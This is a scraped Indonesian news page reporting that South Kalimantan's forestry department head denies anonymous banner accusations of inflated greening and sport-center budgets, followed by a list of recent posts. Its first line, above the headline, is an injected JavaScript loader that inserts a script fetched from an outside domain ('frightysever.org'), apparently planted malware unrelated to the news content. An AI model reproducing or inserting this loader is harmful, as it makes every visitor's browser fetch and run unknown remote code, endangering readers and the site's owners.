(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diserang Spanduk ‘Gelap’, Kadishut Kalsel Bantah Adanya Mark Up!


BANJARBARU, Spanduk ‘gelap’ yang berisi tudingan adanya mark up anggaran penghijaun di perkantoran Pemprov Kalsel oleh Kepala Dinas Kehutanan (Dishut) Kalsel Dr Hanif Faisol Nurofiq, akhirnya diklarifikasi. Upaya ini dilakukan agar spanduk bernada hasutan tersebut tak menyebar sehingga dianggap sebagai kabar benar. Di sisi lain, dalang dibalik pemasangan spanduk tersebut saat ini tengah diusut pihak kepolisian.

Spanduk tersebut sempat menghebohkan publik karena bertuliskan dugaan markup proyek penghijauan dan sport center oleh Kadishut Kalsel. Bahkan, ada kalimat yang meminta untuk menangkap Kadishut. Tercatat ada dua spanduk yang memiliki pembahasan sama, tapi dengan tulisan berbeda. Kedua spanduk ini juga dipasang di lokasi terpisah.

Pada spanduk pertama tertulis ajakan untuk menangkap Kadishut Kalsel karena diduga melakukan mark up penghijauan di lingkungan Perkantoran Pemprov Kalsel dan merubah APBD Dana penghijauan di Jalan A Yani ke Perkantoran di Banjarbaru tanpa persetujuan DPRD Kalsel.

Sedangkan di spanduk ke dua, meminta Komisi Pemberantasan Korupsi (KPK) untuk mengusut Dispora hasil temuaan BPK RI terkait casing pembangunan Sport Center yang di dalamnya ada mark up harga tanah di lokasi Sport Center Desa Kiram. Bahkan juga dituliskan nama pengusaha yang terlibat di dalamnya.

Kadishut Kalsel Hanif Faisol, dalam keterangannya kepada wartawan Jumat (8/2) mengatakan, spanduk tersebut sebenarnya hanya berumur beberapa jam. Sebab, saat dipasang pada malam hari, spanduk tersebut langsung dilepas. Ia mengatakan telah melaporkan hal ini ke Polda kalsel dan Polresta Banjarmasin.

“Walaupun sebentar dipasang, namun sudah tersebar jadi berita hoax. Karena ini menyangkut nama baik, kami laporkan. Karena saya rasa adanya fitnah mengenai spanduk tersebut. Kami tidak tahu siapa memasang, kami minta Polda untuk memeriksa,” tegasnya.

Menurut Hanif, isi dalam spanduk tersebut adalah hoax. Karena dari program penghijauan sepanjang jalan A Yani dan sepanjang jalan lingkup kantor Perkantoran Pemprov Kalsel, memang dari awal adalah dua kegiatan berbeda. Dishut Kalsel mengalokasikan dana penghijauan di Jalan Achmad Yani meliputi daerah Banjarmasin, Banjarbaru, Kabupaten Banjar, dan Tanah Laut dengan total anggaran Rp 20 miliar. Sedangkan di Komplek Perkantoran Pemprov Kalsel di Banjarbaru dengan alokasi anggaran sekitar Rp 2 hingga Rp 3 miliar.

“Kami telah meminta audit ke inspektorat Provinsi Kalsel dan BPK RI. Tidak ditemukan pembengkakan dana atau masalah apapun,” lanjutnya.

Ditambahkannya lagi, bahkan pihaknya telah melalui langkah-langkah semestinya sebelum menjalankan ke dua program tersebut seperti melakukan ekspos ke Tim Pengawal dan Pengaman Pemerintah dan Pembangunan Daerah ( TP4D) dan beberapa kali melakukan rapat dengan sejumlah stake holder. Tersmasuk dengan Bandara Syamsudin Noor.

“Karena penanaman di kota berbeda dengan di hutan. Ada beberapa space yang tidak bisa ditanami. Tapi pengawalan TP4D dilakukan secara rutin,” bebernya.

Dampak spanduk yang menhujat dirinya ,membuat Kadishut Kalsel was-was dalam menggunakan Anggaran Pendapatan dan Belanja Daerah (APBD). Bahkan Hanif berencana menggunakan dana corporate sosial responsibility (CSR) perusahaan swasta untuk melaksanakan program penghijauan di kedepannya.

“Sebenarnya masalah spanduk ini tidak mau saya jelaskan, tapi kalau tidak dijelaskan takutnnya malah memblunder,” pungkasnya.

Bantahan tegas juga disampaikan oleh Kepala Biro Hukum Setdaprov Kalsel, Akhmad Fidayeen, Kamis (7/2) kemarin. Ia memastikan informasi di spanduk tersebut mengada-ngada. Dia n mengklaim bahwa dirinya berani pasang badan terkait proyek penghijauan dan sport center tidak ada permainan.

“Saya berani menjamin terkait proyek penghijauan dan sport center tidak ada permainan, dan tidak benar sama sekali isi dalam spanduk tersebut,” tegasnya.Hingga kini belum diketahui informasi perkembangan hasil daripenyelidikan oleh pihak Kepolisian. Namun tentu yang menjadi mistreri siapa dan apa motif dibalik oknum penyebar spanduk yang sempat menghebohkan sosial media beberapa minggu lalu. (Rico)


Desy Arfianty

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

39 menit ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

1 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

13 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

13 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

16 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

22 jam ago

This website uses cookies.